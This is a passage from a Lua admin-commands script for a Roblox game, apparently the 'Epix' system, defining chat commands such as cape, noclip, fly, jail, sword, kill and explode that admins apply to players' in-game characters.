msg:lower():sub(chk2+1) local t if type:lower()=='tix' or type:lower()=='tickets' or type:lower()=='t' then t=Enum.CurrencyType.Tix elseif type:lower()=='robux' or type:lower()=='rb' or type:lower()=='r' then t=Enum.CurrencyType.Robux else t=Enum.CurrencyType.Default end if v then game:GetService("MarketplaceService"):PromptPurchase(v,tonumber(msg:sub(chk1+1,chk2-1)),false,t) end end)) end end if msg:lower():sub(1,4) == "hat " then local chk1 = msg:lower():sub(5):find(" ") + 4 local plrz = set.GetPlayers(plr, msg:lower():sub(5, chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1))) for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end obj:Destroy() end end)) end end if msg:lower() == "capelist" or msg:lower() == "capes" then if plr.PlayerGui:findFirstChild(GuiName.."CAPELISTGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."CAPELISTGUI" scr.Parent = plr.PlayerGui top.Text='Cape List' local list = {"script","new yeller","pastel blue","dusty rose","cga brown","random","shiny","gold","pancake","epix","superman","swag","donor","starbucks","gomodern","admin","host","cohost","trainer","giovannis"} for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) end if msg:lower():sub(1,5) == "cape " then local chk1 = msg:lower():sub(6):find(" ") local plrz = set.GetPlayers(plr, msg:lower():sub(6)) local str = "torso.BrickColor p.Material='Fabric'" if chk1 then chk1 = chk1 + 5 plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1)) local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[") p.Material='Fabric']] if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller") p.Material='Fabric']] end if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue") p.Material='Fabric']] end if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose") p.Material='Fabric']] end if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown") p.Material='Fabric']] end if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random() p.Material='Fabric']] end if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white")p.Material='Fabric' p.Reflectance = 1]] end if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end if msg:sub(chk1+1):lower() == "pancake" then teststr = [[BrickColor.new("Really black") p.Material='Fabric' local dec = Instance.new("Decal", p) dec.Transparency=0.2 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end if msg:sub(chk1+1):lower() == "script" then teststr = [[BrickColor.new("White") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=151359194"]] end if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Institutional white") p.Material='Fabric' local dec = Instance.new("Decal", p) dec.Transparency=0.2 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end if msg:sub(chk1+1):lower() == "epix" then teststr = [[BrickColor.new("Really black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149442745"]] end if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") p.Material='Fabric' local dec = Instance.new("Decal", p) dec.Transparency=0.2 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") p.Material='Fabric' local dec = Instance.new("Decal", p) dec.Transparency=0.2 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end if msg:sub(chk1+1):lower() == "donor" then teststr = [[BrickColor.new("White") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149009184"]] end if msg:sub(chk1+1):lower() == "starbucks" then teststr = [[BrickColor.new("Black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0.5 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149248066"]] end if msg:sub(chk1+1):lower() == "gomodern" then teststr = [[BrickColor.new("Really black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149438175"]] end if msg:sub(chk1+1):lower() == "admin" then teststr = [[BrickColor.new("White") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149092195"]] end if msg:sub(chk1+1):lower() == "giovannis" then teststr = [[BrickColor.new("White") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=149808729"]] end if msg:sub(chk1+1):lower() == "godofdonuts" then teststr = [[BrickColor.new("Institutional white") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=151034443"]] end if msg:sub(chk1+1):lower() == "host" then teststr = [[BrickColor.new("Really black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=152299000"]] end if msg:sub(chk1+1):lower() == "cohost" then teststr = [[BrickColor.new("Really black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=152298950"]] end if msg:sub(chk1+1):lower() == "trainer" then teststr = [[BrickColor.new("Really black") p.Material='Plastic' local dec = Instance.new("Decal", p) dec.Transparency=0 dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=152298976"]] end if BrickColor.new(teststr) ~= nil then str = teststr end end for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end set.LoadOnClient(v,[[local plr = game.Players.LocalPlayer repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso") local torso = plr.Character.Torso local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false p.Transparency=0.001 p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom" p.Size = Vector3.new(.2,.2,.2) local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5) local motor1 = Instance.new("Motor", p) motor1.Part0 = p motor1.Part1 = torso motor1.MaxVelocity = .01 motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0) motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0) local wave = false repeat wait(1/44) local ang = 0.1 local oldmag = torso.Velocity.magnitude local mv = .002 if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end ang = ang + math.min(torso.Velocity.magnitude/11, .5) motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv motor1.DesiredAngle = -ang if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1 if torso.Velocity.magnitude < .1 then wait(.1) end until not p or p.Parent ~= torso.Parent script:Destroy() ]],false,'CapeScript') end end)) end end if msg:lower():sub(1,7) == "uncape " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") and v.Character then for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end end end)) end end if msg:lower():sub(1,7) == "noclip " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then set.LoadOnClient(v,[[ game:GetService("RunService").Stepped:connect(function() pcall(function() game.Players.LocalPlayer.Character.Torso.CanCollide = false game.Players.LocalPlayer.Character.Head.CanCollide = false game.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide = false if game.Players.LocalPlayer.Character:FindFirstChild('Head') then for i,v in pairs(game.Player.LocalPlayer.Character.Head:children()) do if v and v:IsA('Part') then v.CanCollide=false end end end end) end)]],false,'NoClip') end end)) end end if msg:lower():sub(1,10) == "flynoclip " then local plrz = set.GetPlayers(plr, msg:lower():sub(11)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then set.LoadOnClient(v,[[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]],false,'NoClip') end end)) end end if msg:lower():sub(1,5) == "clip " then local plrz = set.GetPlayers(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:FindFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then for a, q in pairs(v.PlayerGui:children()) do if q.Name == GuiName.."NoClip" then q:Destroy() end end v.Character.Torso.Anchored = false wait(.1) v.Character.Humanoid.PlatformStand = false end end)) end end if msg:lower():sub(1,5) == "jail " then local plrz = set.GetPlayers(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then local vname = v.Name local tools=Instance.new('Model') tools.Parent=game:service'Lighting' tools.Name=v.Name..' ~ Epix Jail Tools' local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0) local mod = Instance.new("Model", game.Workspace) mod.Name = v.Name .. " Epix Jail" table.insert(set.objects, mod) local value = Instance.new('StringValue',mod) value.Name='Player' value.Value=v.Name local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0) v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") for l,k in next,v.Backpack:children() do if k and k.ClassName=='Tool' or k.ClassName=='HopperBin' then k.Parent=tools end end v.Character.Torso.CFrame = cf end) v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") for l,k in next,k.Backpack:children() do if k and k.ClassName=='Tool' or k.ClassName=='HopperBin' then k.Parent=tools end end v.Character.Torso.CFrame = cf end) game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") for l,k in next,v.Backpack:children() do if k and k.ClassName=='Tool' or k.ClassName=='HopperBin' then k.Parent=tools end end v.Character.Torso.CFrame = cf end) v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") for l,k in next,v.Backpack:children() do if k and k.ClassName=='Tool' or k.ClassName=='HopperBin' then k.Parent=tools end end v.Character.Torso.CFrame = cf end) end) local bottom = top:Clone() bottom.Transparency = 1 bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0) local front = top:Clone() front.Transparency = 1 front.Reflectance = 0 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3) local back = front:Clone() back.Transparency = 1 back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3) local right = front:Clone() right.Transparency = 1 right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0) local left = right:Clone() left.Transparency = 1 left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0) local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0) local msh2 = msh:Clone() msh2.Parent = back local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1) local msh4 = msh3:Clone() msh4.Parent = left local brick = Instance.new('Part',mod) local box = Instance.new('SelectionBox',brick) box.Adornee=brick box.Color=BrickColor.new('White') brick.Anchored=true brick.CanCollide=false brick.Transparency=1 brick.Size=Vector3.new(5,7,5) brick.CFrame=cf--*CFrame.new(0,-1,0) v.Character.Torso.CFrame = cf for l,k in next,v.Backpack:children() do if k and k.ClassName=='Tool' or k.ClassName=='HopperBin' then k.Parent=tools end end end end)) end end if msg:lower():sub(1,7) == "unjail " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Epix Jail" then jl:Destroy() end end for lolz,m in pairs(game:service'Lighting':children()) do if m.Name==v.Name..' ~ Epix Jail Tools' then for j,tewl in pairs(m:children()) do if tewl then tewl.Parent=v.Backpack end end end end game:service'Lighting'[v.Name..' ~ Jail Tools']:Destroy() end end)) end end if msg:lower():sub(1,11) == "starttools " then local plrz = set.GetPlayers(plr, msg:lower():sub(12)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("Backpack") then for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end end end)) end end if msg:lower():sub(1,6) == "sword " then local plrz = set.GetPlayers(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("Backpack") then local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png" sword.GripForward = Vector3.new(-1,0,0) sword.GripPos = Vector3.new(0,0,-1.5) sword.GripRight = Vector3.new(0,1,0) sword.GripUp = Vector3.new(0,0,1) local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0 local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png" set.LoadScript('LocalScript',[[ repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local Damage = 15 local SlashSound = Instance.new("Sound", script.Parent.Handle) SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Volume = 1 local LungeSound = Instance.new("Sound", script.Parent.Handle) LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" LungeSound.Volume = 1 local UnsheathSound = Instance.new("Sound", script.Parent.Handle) UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Volume = 1 local last = 0 script.Parent.Handle.Touched:connect(function(hit) if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3) hit.Parent.Humanoid:TakeDamage(Damage) end end) script.Parent.Activated:connect(function() if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end script.Parent.Enabled = false local tick = game:service("RunService").Stepped:wait() if tick - last <= .2 then LungeSound:play() local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge" local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0) wait(.2) script.Parent.GripForward = Vector3.new(0,0,1) script.Parent.GripRight = Vector3.new(0,-1,0) script.Parent.GripUp = Vector3.new(-1,0,0) wait(.3) frc:Destroy() wait(.5) script.Parent.GripForward = Vector3.new(-1,0,0) script.Parent.GripRight = Vector3.new(0,1,0) script.Parent.GripUp = Vector3.new(0,0,1) else SlashSound:play() local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash" end last = tick script.Parent.Enabled = true end) script.Parent.Equipped:connect(function(mouse) for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end UnsheathSound:play() script.Parent.Enabled = true if not mouse then return end mouse.Icon = "http://www.roblox.com/asset/?id=103593352" end)]],'SwordScript',false,sword) end end)) end end if msg:lower():sub(1,6) == "clone " then local plrz = set.GetPlayers(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.Character.Archivable = true local cl = v.Character:Clone() table.insert(set.objects,cl) cl.Parent = game.Workspace cl:MoveTo(v.Character:GetModelCFrame().p) cl:MakeJoints() v.Character.Archivable = false end end)) end end if msg:lower():sub(1,8) == "control " then local plrz = set.GetPlayers(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.Character.Humanoid.PlatformStand = true local w = Instance.new("Weld", plr.Character.Torso ) w.Part0 = plr.Character.Torso w.Part1 = v.Character.Torso local w2 = Instance.new("Weld", plr.Character.Head) w2.Part0 = plr.Character.Head w2.Part1 = v.Character.Head local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm")) w3.Part0 = plr.Character:findFirstChild("Right Arm") w3.Part1 = v.Character:findFirstChild("Right Arm") local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm")) w4.Part0 = plr.Character:findFirstChild("Left Arm") w4.Part1 = v.Character:findFirstChild("Left Arm") local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg")) w5.Part0 = plr.Character:findFirstChild("Right Leg") w5.Part1 = v.Character:findFirstChild("Right Leg") local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg")) w6.Part0 = plr.Character:findFirstChild("Left Leg") w6.Part1 = v.Character:findFirstChild("Left Leg") plr.Character.Head.face:Destroy() for i, p in pairs(v.Character:children()) do if p:IsA("BasePart") then p.CanCollide = false end end for i, p in pairs(plr.Character:children()) do if p:IsA("BasePart") then p.Transparency = 1 elseif p:IsA("Hat") then p:Destroy() end end v.Character.Parent = plr.Character v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end) end end)) end end if msg:lower():sub(1,8) == "refresh " then local plrz = set.GetPlayers(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() local pos=v.Character.Torso.CFrame local temptools={} pcall(function() v.Character.Humanoid:UnequipTools() end) wait() for k,t in pairs(v.Backpack:children()) do if t:IsA('Tool') or t:IsA('Hopperbin') then table.insert(temptools,t) end end v:LoadCharacter() v.Character.Torso.CFrame=pos for d,f in pairs(v.Character:children()) do if f:IsA('ForceField') then f:Destroy() end end wait(1) v.Backpack:ClearAllChildren() for l,m in pairs(temptools) do m:clone().Parent=v.Backpack end end)) end end if msg:lower():sub(1,5) == "kill " then local plrz = set.GetPlayers(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.Character:BreakJoints() end end)) end end if msg:lower():sub(1,8) == "respawn " then local plrz = set.GetPlayers(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v:LoadCharacter() set.LoadOnClient(plr,[[game.Workspace.CurrentCamera.CameraType='Custom' game.Workspace.CurrentCamera.CameraSubject=game.Players.LocalPlayer.Character.Humanoid game.Workspace.CurrentCamera.FieldOfView=70]],false,set.AssignName()) end end)) end end if msg:lower():sub(1,5) == "trip " then local plrz = set.GetPlayers(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180)) end end)) end end if msg:lower():sub(1,5) == "stun " then local plrz = set.GetPlayers(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.PlatformStand = true end end)) end end if msg:lower():sub(1,8) == 'ragdoll ' then local plrz = set.GetPlayers(plr, msg:lower():sub(9)) for i,v in pairs(plrz) do coroutine.wrap(function() if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name,false) then set.LoadOnClient(v,[[ Character = game.Players.LocalPlayer.Character Humanoid = Character.Humanoid Torso = Character.Torso function OnDeath() print("Death")-- HAHA wait(0.00000001) Humanoid.Parent = nil if Torso then local Head = Character:FindFirstChild("Head") if Head then local Neck = Instance.new("Weld") Neck.Name = "Neck" Neck.Part0 = Torso Neck.Part1 = Head Neck.C0 = CFrame.new(0, 1.5, 0) Neck.C1 = CFrame.new() Neck.Parent = Torso end local Limb = Character:FindFirstChild("Right Arm") if Limb then Limb.CFrame = Torso.CFrame * CFrame.new(1.5, 0, 0) local Joint = Instance.new("Glue") Joint.Name = "RightShoulder" Joint.Part0 = Torso Joint.Part1 = Limb Joint.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.C1 = CFrame.new(-0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.Parent = Torso local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = Character local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb end local Limb = Character:FindFirstChild("Left Arm") if Limb then Limb.CFrame = Torso.CFrame * CFrame.new(-1.5, 0, 0) local Joint = Instance.new("Glue") Joint.Name = "LeftShoulder" Joint.Part0 = Torso Joint.Part1 = Limb Joint.C0 = CFrame.new(-1.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.C1 = CFrame.new(0, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.Parent = Torso local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = Character local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb end local Limb = Character:FindFirstChild("Right Leg") if Limb then Limb.CFrame = Torso.CFrame * CFrame.new(0.5, -2, 0) local Joint = Instance.new("Glue") Joint.Name = "RightHip" Joint.Part0 = Torso Joint.Part1 = Limb Joint.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.Parent = Torso local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = Character local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb end local Limb = Character:FindFirstChild("Left Leg") if Limb then Limb.CFrame = Torso.CFrame * CFrame.new(-0.5, -2, 0) local Joint = Instance.new("Glue") Joint.Name = "LeftHip" Joint.Part0 = Torso Joint.Part1 = Limb Joint.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.Parent = Torso local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = Character local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb end end end Humanoid.Died:connect(OnDeath) Humanoid.Health=0 ]],false,set.AssignName()) end end)() end end if msg:lower():sub(1,7) == "unstun " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.PlatformStand = false end end)) end end if msg:lower():sub(1,5) == "jump " then local plrz = set.GetPlayers(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.Jump = true end end)) end end if msg:lower():sub(1,4) == "sit " then local plrz = set.GetPlayers(plr, msg:lower():sub(5)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.Sit = true end end)) end end if msg:lower():sub(1,10) == "invisible " then local plrz = set.GetPlayers(plr, msg:lower():sub(11)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for a, obj in pairs(v.Character:children()) do if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end end end end)) end end if msg:lower():sub(1,8) == "visible " then local plrz = set.GetPlayers(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for a, obj in pairs(v.Character:children()) do if obj:IsA("BasePart") and obj.Name~='HumanoidRootPart' then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end end end end)) end end if msg:lower():sub(1,5) == "lock " then local plrz = set.GetPlayers(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for a, obj in pairs(v.Character:children()) do if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end end end end)) end end if msg:lower():sub(1,7) == "unlock " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for a, obj in pairs(v.Character:children()) do if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end end end end)) end end if msg:lower():sub(1,8) == "explode " then local plrz = set.GetPlayers(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position ex.BlastRadius=20 end end)) end end if msg:lower():sub(1,4) == "age " then local plrz = set.GetPlayers(plr, msg:lower():sub(5)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then set.Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end end)) end end if msg:lower():sub(1,6) == "light " then local chk1 = msg:lower():sub(7):find(" ") local plrz = set.GetPlayers(plr, msg:lower():sub(7)) local str = BrickColor.new('Bright blue').Color if chk1 then chk1 = chk1 + 6 plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1)) local teststr = msg:sub(chk1+1) if BrickColor.new(teststr) ~= nil then str = BrickColor.new(teststr).Color end end for i, v in pairs(plrz) do coroutine.wrap(function() if v and v.Character and v.Character:findFirstChild("Torso") then local p=Instance.new('PointLight',v.Character.Torso) table.insert(set.objects,p) p.Color=str p.Brightness=5 p.Range=15 end end)() end end if msg:lower():sub(1,8) == "unlight " then local plrz = set.GetPlayers(plr, msg:lower():sub(9)) for i, v in 